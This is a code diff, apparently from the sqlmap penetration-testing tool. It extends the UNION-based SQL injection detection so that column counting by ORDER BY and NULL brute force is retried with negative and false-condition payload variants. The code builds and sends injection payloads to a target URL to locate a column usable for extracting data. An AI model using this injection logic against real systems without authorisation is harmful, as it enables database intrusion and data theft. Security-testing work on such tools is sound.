@@ -83,13 +83,13 @@ def __unionPosition(negative=False, falseCond=False):
8383
8484 return validPayload
8585
86- def __unionConfirm ():
86+ def __unionConfirm (negative = False , falseCond = False ):
8787 validPayload = None
8888
8989 # Confirm the inband SQL injection and get the exact column
90- # position
90+ # position which can be used to extract data
9191 if not isinstance (kb .unionPosition , int ):
92- validPayload = __unionPosition ()
92+ validPayload = __unionPosition (negative = negative , falseCond = falseCond )
9393
9494 # Assure that the above function found the exploitable full inband
9595 # SQL injection position
@@ -114,7 +114,7 @@ def __unionConfirm():
114114
115115 return validPayload
116116
117- def __unionTestByNULLBruteforce (comment ):
117+ def __unionTestByNULLBruteforce (comment , negative = False , falseCond = False ):
118118 """
119119 This method tests if the target url is affected by an inband
120120 SQL injection vulnerability. The test is done up to 50 columns
@@ -135,7 +135,7 @@ def __unionTestByNULLBruteforce(comment):
135135 query += " FROM DUAL"
136136
137137 commentedQuery = agent .postfixQuery (query , comment )
138- payload = agent .payload (newValue = commentedQuery )
138+ payload = agent .payload (newValue = commentedQuery , negative = negative , falseCond = falseCond )
139139 seqMatcher = Request .queryPage (payload , getSeqMatcher = True )
140140
141141 if seqMatcher >= 0.6 :
@@ -145,14 +145,14 @@ def __unionTestByNULLBruteforce(comment):
145145
146146 return columns
147147
148- def __unionTestByOrderBy (comment ):
148+ def __unionTestByOrderBy (comment , negative = False , falseCond = False ):
149149 columns = None
150150 prevPayload = ""
151151
152152 for count in range (1 , 51 ):
153153 query = agent .prefixQuery ("ORDER BY %d" % count )
154154 orderByQuery = agent .postfixQuery (query , comment )
155- payload = agent .payload (newValue = orderByQuery )
155+ payload = agent .payload (newValue = orderByQuery , negative = negative , falseCond = falseCond )
156156 seqMatcher = Request .queryPage (payload , getSeqMatcher = True )
157157
158158 if seqMatcher >= 0.6 :
@@ -165,6 +165,16 @@ def __unionTestByOrderBy(comment):
165165
166166 return columns
167167
168+ def __unionTestAll (comment = "" , negative = False , falseCond = False ):
169+ columns = None
170+
171+ if conf .uTech == "orderby" :
172+ columns = __unionTestByOrderBy (comment , negative = negative , falseCond = falseCond )
173+ else :
174+ columns = __unionTestByNULLBruteforce (comment , negative = negative , falseCond = falseCond )
175+
176+ return columns
177+
168178def unionTest ():
169179 """
170180 This method tests if the target url is affected by an inband
@@ -188,20 +198,27 @@ def unionTest():
188198
189199 validPayload = None
190200 columns = None
201+ negative = False
202+ falseCond = False
191203
192204 for comment in (queries [kb .dbms ].comment .query , "" ):
193- if conf .uTech == "orderby" :
194- columns = __unionTestByOrderBy (comment )
195- else :
196- columns = __unionTestByNULLBruteforce (comment )
205+ columns = __unionTestAll (comment )
206+
207+ if not columns :
208+ negative = True
209+ columns = __unionTestAll (comment , negative = negative )
210+
211+ if not columns :
212+ falseCond = True
213+ columns = __unionTestAll (comment , falseCond = falseCond )
197214
198215 if columns :
199- setUnion (comment = comment , count = columns )
216+ setUnion (comment = comment , count = columns , negative = negative , falseCond = falseCond )
200217
201218 break
202219
203220 if kb .unionCount :
204- validPayload = __unionConfirm ()
221+ validPayload = __unionConfirm (negative = negative , falseCond = falseCond )
205222 else :
206223 warnMsg = "the target url is not affected by an "
207224 warnMsg += "inband sql injection vulnerability"
0 commit comments